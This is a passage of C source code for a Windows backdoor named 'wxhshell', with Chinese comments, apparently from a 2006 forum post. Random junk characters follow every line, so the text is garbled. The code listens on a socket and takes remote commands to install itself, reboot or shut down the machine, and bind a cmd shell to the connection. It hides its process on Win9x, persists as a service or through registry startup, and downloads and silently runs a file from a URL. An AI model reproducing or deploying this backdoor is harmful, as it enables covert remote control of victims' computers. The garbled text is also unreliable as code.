  case '?': { Nl'@Y^8N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lb,wn{  
    break; +^DDWVp  
  } Z0[d;m*  
  // 安装 ]Zz.n5c  
  case 'i': { ueyQ&+6r  
    if(Install()) 2}n7f7[/b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , .E>  
    else E 1`TQA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :>y;*x0w  
    break; X`fb\}~R(  
    } ka_(8  
  // 卸载 ^D76_'{  
  case 'r': { +ag_w}  
    if(Uninstall()) q-s(2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=$p!H8  
    else i IM\_<?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KL yI*`  
    break; Fs3 :NH  
    } w>o/)TTJL  
  // 显示 wxhshell 所在路径 E)`:sSd9  
  case 'p': { }P'c8$  
    char svExeFile[MAX_PATH]; ,`bmue5  
    strcpy(svExeFile,"\n\r"); klR\7+lK  
      strcat(svExeFile,ExeFile); . 1+I8qj  
        send(wsh,svExeFile,strlen(svExeFile),0); v5\5:b {/  
    break; V}Ee1C  
    } 6f:uAFwG  
  // 重启 );zLgNx,  
  case 'b': { !z1\ #|>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DNr*|A2<  
    if(Boot(REBOOT)) <aLS4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); unih"};ou  
    else { $^_6,uBM[  
    closesocket(wsh); .e5d#gE0  
    ExitThread(0); _=cU2  
    } jV[;e15+  
    break; 8iTB  
    } !FwNq'Q8$  
  // 关机 4f&"1:  
  case 'd': { ? G`6}NP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .8->n aj|  
    if(Boot(SHUTDOWN)) J&iSS9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #aQQd8   
    else { 2EO x],(|  
    closesocket(wsh); s"XwO8yhM  
    ExitThread(0); fy$?~Ji &  
    } Eq%f`Qg+1E  
    break; .1}1e;f-  
    } 84!Hd.H  
  // 获取shell d%UzQ*s  
  case 's': { d_Jj&:"l  
    CmdShell(wsh); Z5 p [*LMO  
    closesocket(wsh); h*R w^5,c  
    ExitThread(0); 6?Kl L [~  
    break;  !TivQB  
  } Sn0kJIb }  
  // 退出 9Z21|5  
  case 'x': { 5DDSo0E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SK#&%Yk  
    CloseIt(wsh); \%7fm#z6  
    break; Y]7503J  
    } qX*xQA|ak,  
  // 离开 wTD}c1J(  
  case 'q': { RRXp9{x`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q:|W/RD~  
    closesocket(wsh); L9<\vJ  
    WSACleanup(); ?;_*8Doq-a  
    exit(1); 1BEs> Sm  
    break; '$c9S[  
        } r6nnRN/S=  
  } /wax5FS'I,  
  } KZTLIZxI-  
' '(rC38  
  // 提示信息 sQJGwZ 7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m8;w7S7,j~  
} r^a:s]  
  } T-#4hY`  
S43JaSw)  
  return; O ,9^R  
} [}M!ez  
q-+:1E  
// shell模块句柄 $4^SWT.  
int CmdShell(SOCKET sock) 9|lLce$  
{ WrSc@j&Ycv  
STARTUPINFO si; yx|{:Li!  
ZeroMemory(&si,sizeof(si)); zPx R=0|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W7Y@]QMX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B;?)X&n|X  
PROCESS_INFORMATION ProcessInfo; /y$Fw9R;  
char cmdline[]="cmd"; tRpY+s~Fq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); araXE~Ac  
  return 0; 7f}uRXBV$A  
} 14" 57Jt8  
J jm={+@+  
// 自身启动模式 3LT~- SvL  
int StartFromService(void) !\<a2>4$T  
{ <gFa@at  
typedef struct vc&v+5Y  
{ ,0a_ou"P=_  
  DWORD ExitStatus; b _<n]P*)  
  DWORD PebBaseAddress; 2QRO$NieV  
  DWORD AffinityMask; uDP:kM  
  DWORD BasePriority; :SS \2  
  ULONG UniqueProcessId; ) $_1U!z  
  ULONG InheritedFromUniqueProcessId; [gpO?'~  
}   PROCESS_BASIC_INFORMATION; D;NL*4zt  
F3EAjO)ch  
PROCNTQSIP NtQueryInformationProcess; +8C }%6aX  
Z[OX {_2]K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n."n?C'{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bY2R/FNL=  
3i7EF.  
  HANDLE             hProcess; y^,QM[&  
  PROCESS_BASIC_INFORMATION pbi; '.1P\>x!]  
4"k&9+>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~f(5l.  
  if(NULL == hInst ) return 0; IJ&Lk=2E]  
DtFHh/X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M2|!,2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H7GI`3o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZX` \so,&,  
DH yv^  
  if (!NtQueryInformationProcess) return 0; 9zb1t1[ W  
mmbe.$73  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @t~y9UfF  
  if(!hProcess) return 0; h@Ea5x  
mpug#i6q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @b,H'WvhfS  
v>#Njgo  
  CloseHandle(hProcess); `VKFA<T  
b9RHsr]V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }q`9U!v  
if(hProcess==NULL) return 0; X'jyR:ut#  
?a3 wBy  
HMODULE hMod; +7}^Y}(  
char procName[255]; aWIkp5BFj  
unsigned long cbNeeded; Jgv Mx  
88~Nrl=co  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;ND$4$  
X7huc*  
  CloseHandle(hProcess); $C;i}q#  
}[;ZZm?  
if(strstr(procName,"services")) return 1; // 以服务启动 ?E"192 ,z@  
D[/fs`XES  
  return 0; // 注册表启动 ?@9v+Am!  
} L@{'J  
s|e.mZk/  
// 主模块 S>0%jCjW  
int StartWxhshell(LPSTR lpCmdLine) `P;r[j"  
{ }bv+^#  
  SOCKET wsl; PPB/-F]rr  
BOOL val=TRUE; !iKW1ks  
  int port=0; ID2->J  
  struct sockaddr_in door; (vO3vCYeQ  
FC] *^B  
  if(wscfg.ws_autoins) Install(); %-blx)Pc  
N:)x67,  
port=atoi(lpCmdLine); EL$DvJ~  
Gu*y7I8  
if(port<=0) port=wscfg.ws_port; 2L~Vr4eHG  
{6v.(Zlh$  
  WSADATA data; TQT3]h6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e'.BTt58Y  
-/pz3n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pPBXUu'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZLT?G  
  door.sin_family = AF_INET; V|MHDMD=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p>7qyZ8  
  door.sin_port = htons(port); X$>F78e*  
EwzR4,r\M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KVa{;zBwl  
closesocket(wsl); E2'Wzrovlo  
return 1; PaI\y! f  
} TRGpE9i  
ChTq!W  
  if(listen(wsl,2) == INVALID_SOCKET) { CW+kKN  
closesocket(wsl); Vc(4d-d5  
return 1; .D 4G;=Q  
} x"Ky_P~  
  Wxhshell(wsl); 8M*+ |  
  WSACleanup(); ~a ([e\~  
u2oS Ci  
return 0; zWC| Qe  
e,xL~P{|  
} z< L2W",  
EfEgY|V0  
// 以NT服务方式启动 e P@#I^_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \#HW.5  
{ JD$g%hcVZa  
DWORD   status = 0; YGo?%.X  
  DWORD   specificError = 0xfffffff; Wk0E7Pr  
!i;6!w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;d6Dm)/(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8gP1]xD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r%.k,FzGZY  
  serviceStatus.dwWin32ExitCode     = 0; 0V1GX~2  
  serviceStatus.dwServiceSpecificExitCode = 0; TmG);B}  
  serviceStatus.dwCheckPoint       = 0; 7%Y`j/  
  serviceStatus.dwWaitHint       = 0; 2t\0vV2)/O  
[Arf!W-QG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &>zH.6%$  
  if (hServiceStatusHandle==0) return; YCbvCw$Ob  
|fgUW.  
status = GetLastError(); \_`qon$9  
  if (status!=NO_ERROR) \jiE :Qt  
{ !zX() V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L+8ar9es  
    serviceStatus.dwCheckPoint       = 0; INN}xZ  
    serviceStatus.dwWaitHint       = 0; Xf`e 4  
    serviceStatus.dwWin32ExitCode     = status; |Mb{0mKb  
    serviceStatus.dwServiceSpecificExitCode = specificError; lcdhOjz!N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,u `xneOs  
    return; ^X96yj'?  
  } |(.\J`_e  
3=.YQE0!dx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4-yK!LR  
  serviceStatus.dwCheckPoint       = 0; CVfV    
  serviceStatus.dwWaitHint       = 0; e34>q:#5l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZM.'W}J{ *  
} Z=]SAK`  
zKd@Ab  
// 处理NT服务事件,比如:启动、停止 XDY]LAV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3(WijtH  
{ +HS]kFH  
switch(fdwControl) [[$C tqLg  
{ ;:6\w!fc  
case SERVICE_CONTROL_STOP: |`LH|6/  
  serviceStatus.dwWin32ExitCode = 0; j$)ogGu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ek L2nI  
  serviceStatus.dwCheckPoint   = 0; u_k[< &$  
  serviceStatus.dwWaitHint     = 0; iJzBd7  
  { `WayR^9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ab6I*DbF  
  } Tvx1+0Z%z  
  return; izl6L  
case SERVICE_CONTROL_PAUSE: RCWmdR#}V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RNk|h  
  break; >jI.$%L$  
case SERVICE_CONTROL_CONTINUE: 4qid+ [B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wlc&QOfF  
  break; g+#awi7  
case SERVICE_CONTROL_INTERROGATE: M6g8+sio  
  break; o !tC{"g  
}; K?uZIDo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +x2JC' -H  
} CYaN;HV@_  
ok\-IU?  
// 标准应用程序主函数 K0.aU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8&2 +=<Q~  
{ m Q9dF,  
@su<h\)  
// 获取操作系统版本 FP=B/!g  
OsIsNt=GetOsVer(); c]^P$F8U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .ck?JXg  
!l%:   
  // 从命令行安装 ~+Gh{,f  
  if(strpbrk(lpCmdLine,"iI")) Install(); WE) *~5  
*~^63Nx!  
  // 下载执行文件 b > D  
if(wscfg.ws_downexe) { uVEJV |^/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 27SHj9I  
  WinExec(wscfg.ws_filenam,SW_HIDE); hN3FH# YO  
} I8bM-k):9R  
^QS`H@+Z  
if(!OsIsNt) { q94;x|63  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;%e)t[5  
HideProc(); 4LTm&+(5  
StartWxhshell(lpCmdLine); %,T*[d&i  
} ;iKLf~a a  
else p{w-  
  if(StartFromService()) Tdi^P}i_  
  // 以服务方式启动 =~;~hZj  
  StartServiceCtrlDispatcher(DispatchTable); .a@12J(I  
else GLf!i1Z  
  // 普通方式启动 r9ulTv}X  
  StartWxhshell(lpCmdLine); Dj\nsc@e3  
_WEJ,0* #'  
return 0; H,(vTthd  
}
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只看该作者 1 发表于: 2006-10-10
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